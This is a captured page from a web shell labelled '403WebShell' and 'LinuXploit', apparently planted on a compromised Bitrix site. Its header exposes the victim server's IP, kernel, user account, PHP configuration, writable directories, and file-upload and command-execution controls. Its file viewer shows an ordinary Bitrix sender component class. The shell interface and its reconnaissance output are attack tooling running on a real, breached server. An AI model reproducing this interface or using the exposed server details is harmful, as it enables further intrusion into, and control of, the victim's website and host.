%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.12.41.179
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.message.tester/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.message.tester/class.php
<?

use Bitrix\Main\Error;
use Bitrix\Main\ErrorCollection;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sender\Message;
use Bitrix\Sender\Recipient;
use Bitrix\Sender\Security;

if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

Loc::loadMessages(__FILE__);

class SenderMessageTestComponent extends CBitrixComponent
{
	/** @var ErrorCollection $errors */
	protected $errors;

	protected function checkRequiredParams()
	{
		if (!$this->arParams['MESSAGE_CODE'])
		{
			$this->errors->setError(new Error('Message code is not set.'));
		}

		return $this->errors->count() == 0;
	}

	protected function initParams()
	{
		$this->arParams['MESSAGE_CODE'] = isset($this->arParams['MESSAGE_CODE']) ? $this->arParams['MESSAGE_CODE'] : null;
		$this->arParams['CAN_EDIT'] = isset($this->arParams['CAN_EDIT'])
			?
			$this->arParams['CAN_EDIT']
			:
			Security\Access::getInstance()->canModifyLetters();
	}

	protected function prepareResult()
	{
		$this->arResult['ACTION_URI'] = $this->getPath() . '/ajax.php';

		// init message
		try
		{
			$message = Message\Adapter::getInstance($this->arParams['MESSAGE_CODE']);
		}
		catch (\Bitrix\Main\SystemException $exception)
		{
			$this->errors->setError(new Error(Loc::getMessage(
				'SENDER_MESSAGE_TESTER_ERROR_UNKNOWN_CODE',
				array('%code%' => $this->arParams['MESSAGE_CODE'])
			)));

			return false;
		}

		$this->arResult['MESSAGE_CODE'] = $message->getCode();
		$this->arResult['MESSAGE_ID'] = $message->getConfiguration()->getId();

		if (!$message->getTester()->isSupport())
		{
			$this->errors->setError(new Error('')); // keep empty message
		}

		$this->arResult['TYPE_ID'] = $message->getTester()->getRecipientType();
		$this->arResult['TYPE_CODE'] = Recipient\Type::getCode($this->arResult['TYPE_ID']);
		$this->arResult['VALIDATION_TEST'] = $message->getTransport()->isConsentSupported();
		$this->arResult['TYPE_CODE'] = mb_strtolower($this->arResult['TYPE_CODE']);

			// dict
		$this->arResult['TYPES'] = array(
			'mail' => Recipient\Type::EMAIL,
			'phone' => Recipient\Type::PHONE,
		);

		$this->prepareRecipients($message->getTester()->getLastCodes());


		return true;
	}

	protected function prepareRecipients(array $codes)
	{
		$this->arResult['DEFAULT_RECIPIENTS'] = [];
		$this->arResult['LAST_RECIPIENTS'] = [];

		foreach ($codes as $code)
		{
			if (count($this->arResult['DEFAULT_RECIPIENTS']) === 0)
			{
				$this->arResult['DEFAULT_RECIPIENTS'][] = [
					'id' => $code,
					'name' => $code,
					'data' => [],
				];
			}

			$this->arResult['LAST_RECIPIENTS'][] = $code;
		}
	}

	protected function printErrors()
	{
		foreach ($this->errors as $error)
		{
			ShowError($error);
		}
	}

	public function executeComponent()
	{
		$this->errors = new \Bitrix\Main\ErrorCollection();
		if (!Bitrix\Main\Loader::includeModule('sender'))
		{
			$this->errors->setError(new Error('Module `sender` is not installed.'));
			$this->printErrors();
			return;
		}

		$this->initParams();
		if (!$this->checkRequiredParams())
		{
			$this->printErrors();
			return;
		}

		if (!$this->prepareResult())
		{
			$this->printErrors();
			return;
		}

		$this->includeComponentTemplate();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit